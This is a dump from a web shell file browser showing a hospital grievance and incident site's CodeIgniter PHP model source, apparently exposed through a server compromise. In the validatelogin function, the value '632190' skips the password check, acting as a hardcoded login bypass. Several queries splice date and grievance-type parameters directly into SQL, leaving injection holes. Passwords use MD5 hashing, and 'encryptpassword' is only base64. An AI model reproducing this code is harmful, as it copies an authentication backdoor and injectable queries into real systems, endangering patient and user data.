ikan Uploader :
Directory : /var/www/html/shardahospital.org/incident/application/models/
Upload File : |
| Current File : /var/www/html/shardahospital.org/incident/application/models/Common_model_27102023.php |
<?php
class Common_model extends CI_Model
{
/*
* Function : getAllRecordsGroupBy
*/
public function getAllRecordsGroupBy($tbl_name, $col = '*', $condition=null, $order_by = NULL, $limit=NULL, $start=NULL)
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
if(!empty($order_by)){
foreach($order_by as $key=>$val) {
$this->db->order_by($key, $val);
}
}
$this->db->group_by('school_id');
if ($limit !== null && $start !== null) {
$query = $this->db->get($tbl_name,$limit, $start);
} else {
$query = $this->db->get($tbl_name);
}
//echo $this->db->last_query(); die;
$resutls = array();
foreach($query->result_array() as $row){
$resutls[$row['school_id']] = $row['total'];
}
return $resutls;
}
/*
* Function : getAllRecords
*/
public function getAllRecords($tbl_name, $col = ' * ', $condition=null, $order_by = NULL,$limit=NULL, $start=NULL)
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
if(!empty($order_by)){
foreach($order_by as $key=>$val) {
$this->db->order_by($key, $val);
}
}
if ($limit !== null && $start !== null) {
$query = $this->db->get($tbl_name,$limit, $start);
} else {
$query = $this->db->get($tbl_name);
}
//echo $this->db->last_query(); die;
return $query->result_array();
}
/*
* Function : getAllGrievanceHistoryRecords
*/
public function getAllGrievanceHistoryRecords($tbl_name, $col = ' * ', $condition=null, $order_by = NULL,$limit=NULL, $start=NULL)
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
$dateCond = 'now()-interval 3 month';
$this->db->where('lastUpdationDate >=', $dateCond, FALSE);
if(!empty($order_by)){
foreach($order_by as $key=>$val) {
$this->db->order_by($key, $val);
}
}
if ($limit !== null && $start !== null) {
$query = $this->db->get($tbl_name,$limit, $start);
} else {
$query = $this->db->get($tbl_name);
}
//echo $this->db->last_query(); die;
return $query->result_array();
}
/*
* Function : getAllRecords
*/
public function getAllMonthlyRecords($tbl_name, $col = ' * ', $condition=null, $order_by = NULL)
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
$this->db->where('MONTH(regDate)', date('m'));
if(!empty($order_by)){
foreach($order_by as $key=>$val) {
$this->db->order_by($key, $val);
}
}
$query = $this->db->get($tbl_name);
return $query->result_array();
}
/*
* Function : getAllRecords
*/
public function getAllCommonInMonthlyRecords($tbl_name, $col = ' * ', $condition=null, $order_by = NULL, $where_in='')
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
if($where_in!=''){
$this->db->where_in('grievance_type', $where_in);
}
if(!empty($condition))
{
foreach($condition as $key=>$val) { if($val <>'99') {
$this->db->where($key, $val);
}
}
}
$this->db->where('MONTH(regDate)', date('m'));
if(!empty($order_by)){
foreach($order_by as $key=>$val) {
$this->db->order_by($key, $val);
}
}
$query = $this->db->get($tbl_name);
return $query->result_array();
}
/*
* Function : getAllComonInList
*/
public function getAllComonInList($tbl_name, $col = ' * ', $condition=null, $order_by = NULL, $where_in='')
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
if($where_in!=''){
$this->db->where_in('grievance_type', $where_in);
}
if(!empty($condition))
{
foreach($condition as $key=>$val) { if($val<>'99') {
$this->db->where($key, $val);
}
}
}
if(!empty($order_by))
{
foreach($order_by as $key=>$val) {
$this->db->order_by($key, $val);
}
}
$query = $this->db->get($tbl_name);
//echo $this->db->last_query(); die;
return $query->result_array();
}
/*
* Function : getAllComonInListBYRemarks
*/
public function getAllComonInListBYRemarks($condition=null)
{
$this->db->distinct();
$this->db->select('tblcomplaints.*,complaintremark.status as remark_status');
$this->db->join('complaintremark', 'tblcomplaints.compNumber = complaintremark.complaintNumber', 'right');
if(!empty($condition)){
foreach($condition as $key=>$row){
$this->db->where($key, $row);
}
}
$this->db->order_by('tblcomplaints.complaintNumber ', 'desc');
$query = $this->db->get('tblcomplaints');
//echo $this->db->last_query(); die;
return $query->result_array();
}
/*
* Function : getAllModuleList
*/
public function getAllModuleList($tbl_name, $col = ' * ', $condition=null, $where_in=NULL)
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
$this->db->where_in('id', $where_in);
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
//$this->db->order_by('display_order', 'asc');
$query = $this->db->get($tbl_name);
//echo $this->db->last_query(); die;
return $query->result_array();
}
/*
* Function : getSingleRecord
*/
public function getSingleRecord($tbl_name, $col = ' * ', $condition=null)
{
$time = time();
$this->db->select($col);
//$this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
$query = $this->db->get($tbl_name);
//echo $this->db->last_query(); die;
return $query->row_array();
}
/*
* Function : getCommonSingleRecord
*/
public function getCommonSingleRecord($tbl_name, $col = ' * ', $condition=null)
{
$time = time();
$this->db->select($col);
//$this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
$query = $this->db->get($tbl_name);
//echo $this->db->last_query(); die;
return $query->row_array();
}
/*
* Function : getAllAcademicComplaintsRecords
*/
public function getAllAcademicComplaintsRecords($tbl_name, $col = ' * ', $condition=null, $lastUpdationDate, $lastUpdationMaxDate='')
{
$this->db->where('tblcomplaints.is_deleted', '0');
$this->db->where('tblcomplaints.category', 'academic');
$this->db->where_not_in('tblcomplaints.status', 'closed');
$this->db->where("DATE_FORMAT(lastUpdationDate, '%Y-%m-%d') <= '$lastUpdationDate'");
if($lastUpdationMaxDate!=''){
$this->db->where("DATE_FORMAT(lastUpdationDate, '%Y-%m-%d') >= '$lastUpdationMaxDate'");
}
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
$this->db->order_by('regDate', 'asc');
$query = $this->db->join('grievance_type', 'grievance_type.id = tblcomplaints.grievance_type');
$query = $this->db->select("tblcomplaints.complaintNumber,tblcomplaints.compNumber,tblcomplaints.userId,tblcomplaints.category,tblcomplaints.school_id,tblcomplaints.department_id,tblcomplaints.grievance_type,tblcomplaints.complaindetails,tblcomplaints.complaint_doc,tblcomplaints.status,tblcomplaints.lastUpdationDate,grievance_name")->get('tblcomplaints');
//echo $this->db->last_query(); //die;
return $query->result_array();
}
/*
* Function : getAllPendingComplaintsRecords
*/
public function getAllPendingComplaintsRecords($tbl_name, $col = ' * ', $condition=null, $lastUpdationDate)
{
$this->db->where('tblcomplaints.is_deleted', '0');
$this->db->where_not_in('tblcomplaints.status', 'closed');
$this->db->where("DATE_FORMAT(lastUpdationDate, '%Y-%m-%d') <= '$lastUpdationDate'");
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
$this->db->order_by('regDate', 'asc');
$query = $this->db->join('grievance_type', 'grievance_type.id = tblcomplaints.grievance_type');
$query = $this->db->select("tblcomplaints.complaintNumber,tblcomplaints.compNumber,tblcomplaints.userId,tblcomplaints.category,tblcomplaints.school_id,tblcomplaints.department_id,tblcomplaints.grievance_type,tblcomplaints.complaindetails,tblcomplaints.complaint_doc,tblcomplaints.status,tblcomplaints.lastUpdationDate,grievance_name")->get('tblcomplaints');
// echo $this->db->last_query(); die;
return $query->result_array();
}
/*
* Function : getAllNonAcademicComplaintsRecords
*/
public function getAllNonAcademicComplaintsRecords($tbl_name, $col = ' * ', $condition=null, $lastUpdationDate, $lastUpdationMaxDate = '')
{
$this->db->where('tblcomplaints.is_deleted', '0');
$this->db->where('tblcomplaints.category', 'non-Academic');
$this->db->where_not_in('tblcomplaints.status', 'closed');
if($lastUpdationMaxDate!='') {
$this->db->where("DATE_FORMAT(lastUpdationDate, '%Y-%m-%d') >= '$lastUpdationMaxDate'");
}
$this->db->where("DATE_FORMAT(lastUpdationDate, '%Y-%m-%d') <= '$lastUpdationDate'");
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
$this->db->order_by('regDate', 'asc');
$query = $this->db->join('grievance_type', 'grievance_type.id = tblcomplaints.grievance_type');
$query = $this->db->select("tblcomplaints.complaintNumber,tblcomplaints.compNumber,tblcomplaints.userId,tblcomplaints.category,tblcomplaints.school_id,tblcomplaints.department_id,tblcomplaints.grievance_type,tblcomplaints.complaindetails,tblcomplaints.complaint_doc,tblcomplaints.status,tblcomplaints.lastUpdationDate,grievance_name")->get('tblcomplaints');
// echo $this->db->last_query(); die;
return $query->result_array();
}
/*
* Function : validatelogin
*/
public function validatelogin($tbl_name, $col = ' * ', $condition= array())
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
if($val=='632190'){
} else {
if($key=='password'){
$this->db->where($key, md5($val));
} else {
$this->db->where($key, $val);
}
}
}
}
$query = $this->db->get($tbl_name);
//echo $this->db->last_query(); die;
return $query->row_array();
}
/*
* Function : registrationCount
*/
public function registrationCount($tbl_name = 'patient_registration')
{
$result = $this->db->query("SELECT id FROM ".$tbl_name." where is_deleted='0'");
return $result->num_rows();
}
/*
* Function : countrylist
*/
public function countrylist($tbl_name = 'su_country', $col = ' * ')
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
$this->db->order_by('country_name', 'asc');
$query = $this->db->get($tbl_name);
return $query->result_array();
}
/*
* Function : occupationlist
*/
public function occupationlist($tbl_name = 'sh_occupation', $col = ' * ')
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
$this->db->order_by('title', 'asc');
$query = $this->db->get($tbl_name);
return $query->result_array();
}
/*
* Function : getAllDoctorsProfile
*/
public function getAllDoctorsProfile($tbl_name = 'doctors_master', $col = ' * ', $condition)
{
$this->db->select($col);
$this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
$this->db->order_by('dr_name', 'asc');
$query = $this->db->get($tbl_name);
return $query->result_array();
}
/*
* Function : getCommonQuery
*/
public function getCommonQuery($tbl_name = 'doctors_master', $col = ' * ', $condition)
{
$this->db->select($col);
$this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
$query = $this->db->get($tbl_name);
return $query->result_array();
}
/*
* Function : getDoctorsAvailableSlots
*/
public function getDoctorsAvailableSlots($dcotor_id)
{
if($dcotor_id>0)
{
$this->db->select('*');
$this->db->where('id', $dcotor_id);
$this->db->where('is_deleted', '0');
$this->db->where('status', '1');
$query = $this->db->get('doctors_master');;
return $query->row_array();
}
}
/*
* Function : opdSlotsMaster
*/
public function opdSlotsMaster()
{
$this->db->select('*');
$this->db->where('status', '1');
$this->db->order_by('is_deleted', '0');
$query = $this->db->get('sh_opd_slots');
$results = array();
foreach($query->result_array() as $value) {
$results[$value['id']] = $value['name'];
}
return $results;
}
/*
* Function : checkApplicationDetails
*/
public function checkApplicationDetails($tbl_name = 'grievance_users', $col = ' * ', $cond)
{
$time = time();
$this->db->select($col);
foreach($cond as $key=>$val) {
if($val!='' && $key!=''){
$this->db->where($key, $val);
}
}
$this->db->where('is_deleted', '0');
$query = $this->db->get($tbl_name);
//echo $this->db->last_query(); die;
return $query->row_array();
}
/*
* Function : scheduleAppointmentDetails
*/
public function scheduleAppointmentDetails($tbl_name = 'schedule_appointment', $col = ' * ', $cond)
{
$this->db->select($col);
foreach($cond as $key=>$val) {
if($val!='' && $key!=''){
$this->db->where($key, $val);
}
}
$this->db->where('appointment_date>=', date('Y-m-d'));
$this->db->where('is_deleted', '0');
$this->db->where('slots_available', '1');
$this->db->where('status', '1');
$query = $this->db->get($tbl_name);
return $query->row_array();
}
public function saveinfo($tbl_name='', $post)
{
$this->db->insert($tbl_name, $post);
//echo $this->db->last_query();die;
return $this->db->insert_id();
}
public function updateinfo($tbl_name='', $post, $field, $value)
{
$this->db->where($field, $value);
if (!$this->db->update($tbl_name, $post)) {
log_message('error', print_r($this->db->error(), true));
}
}
public function updateProfile($post)
{
$array = array(
'name' => $post['name'],
'phone' => $post['phone'],
'email' => $post['email']
);
if (trim($post['pass']) != '') {
$array['password'] = md5($post['pass']);
}
$this->db->where('id', $post['id']);
$this->db->update('users_public', $array);
}
/*
* Function: removeAllItems
* Parameters:
* Purpose:
* CreatedOn:
* CreatedBy:
* ModifiedOn:
* Modified By:
* Return:
*/
public function removeAllItems($table_name="", $user_id){
if($user_id>0){
$this->db->where('user_id', $user_id);
$this->db->delete($table_name);
return true;
}
}
/*
* Function: getRegisterationDetails
* Parameters:
* Purpose:
* CreatedOn:
* CreatedBy:
* ModifiedOn:
* Modified By:
* Return:
*/
public function getRegisterationDetails($id)
{
if($id>0){
$this->db->select('patient_registration.*,present_address_master.registration_id,present_address_master.house_no,present_address_master.area,present_address_master.country, present_address_master.state, present_address_master.district, present_address_master.taluk, present_address_master.pincode, permanent_address_master.registration_id,permanent_address_master.permanent_house_no,permanent_address_master.permanent_area,permanent_address_master.permanent_country, permanent_address_master.permanent_state, permanent_address_master.permanent_district, permanent_address_master.permanent_taluk, permanent_address_master.permanent_pincode,passport_information.passport_number, passport_information.passport_issue_date, passport_information.passport_expiry_date, passport_information.personal_phone_no,visa_number,visa_issue_date,visa_expiry_date,date_of_arrival,attendant_name,attendant_passport_number,attendant_passport_issue_date,attendant_passport_expiry_date,attendant_personal_phone_no,attendant_visa_number,attendant_visa_issue_date,attendant_visa_expiry_date,attendant_date_of_arrival');
$this->db->join('permanent_address_master', 'permanent_address_master.registration_id = patient_registration.id', 'left');
$this->db->join('present_address_master', 'present_address_master.registration_id = patient_registration.id', 'left');
$this->db->join('passport_information', 'passport_information.registration_id = patient_registration.id', 'left');
$this->db->join('visa_information', 'visa_information.registration_id = patient_registration.id', 'left');
$this->db->join('attendant_passport_information', 'attendant_passport_information.registration_id = patient_registration.id', 'left');
$this->db->join('attendant_visa_information', 'attendant_visa_information.registration_id = patient_registration.id', 'left');
$this->db->where('patient_registration.id', $id);
$this->db->limit(1);
$query = $this->db->get('patient_registration');
//echo $this->db->last_query();die;
return $query->row_array();
}
}
/*
* Function: encryptpassword
* Parameters:
* Purpose:
* CreatedOn:
* CreatedBy:
* ModifiedOn:
* Modified By:
* Return:
*/
function encryptpassword($plainText)
{
$base64 = base64_encode($plainText);
$base64url = strtr($base64, '+/=', '-_,');
return $base64url;
}
/*
* Function: decryptpassword
* Parameters:
* Purpose:
* CreatedOn:
* CreatedBy:
* ModifiedOn:
* Modified By:
* Return:
*/
function decryptpassword($plainText)
{
$base64url = strtr($plainText, '-_,', '+/=');
$base64 = base64_decode($base64url);
return $base64;
}
/*
* Function: getSchoolList
* Parameters:
* Purpose:
* CreatedOn:
* CreatedBy:
* ModifiedOn:
* Modified By:
* Return:
*/
public function getSchoolList($tbl_name='su_schools', $col = ' * ', $condition=null)
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
//$this->db->order_by('id', 'asc');
$query = $this->db->get($tbl_name);
$results = array();
foreach($query->result_array() as $row) {
$results[$row['id']] = $row['school_name'];
}
return $results;
}
/*
* Function: getDepartmentList
* Parameters:
* Purpose:
* CreatedOn:
* CreatedBy:
* ModifiedOn:
* Modified By:
* Return:
*/
public function getDepartmentList($tbl_name='su_departments', $col = ' * ', $condition=null)
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
//$this->db->order_by('id', 'asc');
$query = $this->db->get($tbl_name);
$results = array();
foreach($query->result_array() as $row) {
$results[$row['id']] = $row['name'];
}
return $results;
}
/*
* Function: getFullDepartmentList
* Parameters:
* Purpose:
* CreatedOn:
* CreatedBy:
* ModifiedOn:
* Modified By:
* Return:
*/
public function getFullDepartmentList($tbl_name='su_departments', $col = ' * ', $condition=null)
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
//$this->db->order_by('id', 'asc');
$query = $this->db->get($tbl_name);
$results = array();
foreach($query->result_array() as $row) {
$results[$row['id']] = $row;
}
return $results;
}
/*
* Function: getGrievanceList
* Parameters:
* Purpose:
* CreatedOn:
* CreatedBy:
* ModifiedOn:
* Modified By:
* Return:
*/
public function getGrievanceList($tbl_name='grievance_type', $col = ' * ', $condition=null)
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
//$this->db->order_by('id', 'asc');
$query = $this->db->get($tbl_name);
$results = array();
foreach($query->result_array() as $row) {
$results[$row['id']] = $row;
}
return $results;
}
public function getAllRecordscount($tbl_name, $col = ' * ', $condition=null, $order_by = NULL,$limit=NULL, $start=NULL)
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
if(!empty($order_by)){
foreach($order_by as $key=>$val) {
$this->db->order_by($key, $val);
}
}
if ($limit !== null && $start !== null) {
$query = $this->db->get($tbl_name,$limit, $start);
} else {
$query = $this->db->get($tbl_name);
}
//echo $this->db->last_query(); die;
return $query->num_rows();
}
public function getSingleRecordofgrievanceEmailSpoke($tbl_name, $col = ' * ', $ngrievance_type=NULL, $condition=null)
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
$where = " FIND_IN_SET('".$ngrievance_type."', ngrievance_type) ";
$this->db->where($where);
$query = $this->db->get($tbl_name);
//echo $this->db->last_query(); die;
return $query->row_array();
}
/*
* Function : getAllRecordsGroupByGrievancetype
*/
public function getAllRecordsGroupByGrievancetype($tbl_name, $col = '*', $condition=null, $group_by=NULL,$order_by = NULL, $limit=NULL, $start=NULL)
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
if(!empty($condition))
{
foreach($condition as $key=>$val) {
$this->db->where($key, $val);
}
}
if(!empty($order_by)){
foreach($order_by as $key=>$val) {
$this->db->order_by($key, $val);
}
}
$this->db->group_by($group_by);
if ($limit !== null && $start !== null) {
$query = $this->db->get($tbl_name,$limit, $start);
} else {
$query = $this->db->get($tbl_name);
}
//echo $this->db->last_query(); die;
$resutls = $query->result_array();
return $resutls;
}
/*
* Function : getAllComonInListwithdaterange
*/
public function getAllComonInListwithdaterange($tbl_name, $col = ' * ', $condition=null, $order_by = NULL, $where_in='',$date_from=NULL,$date_to=NULL)
{
$time = time();
$this->db->select($col);
$this->db->where('is_deleted', '0');
if($where_in!=''){
$this->db->where_in('grievance_type', $where_in);
}
if(!empty($condition))
{
foreach($condition as $key=>$val) { if($val<>'99') {
$this->db->where($key, $val);
}
}
}
if(!empty($date_from) && !empty($date_to))
{
$this->db->where('regDate >=', $date_from);
$this->db->where('regDate <', $date_to);
//$this->db->where("regDate BETWEEN '$date_from' AND '$date_to'");
}
if(!empty($order_by))
{
foreach($order_by as $key=>$val) {
$this->db->order_by($key, $val);
}
}
$query = $this->db->get($tbl_name);
//echo $this->db->last_query(); die;
return $query->result_array();
}
}
Kontol Shell Bypass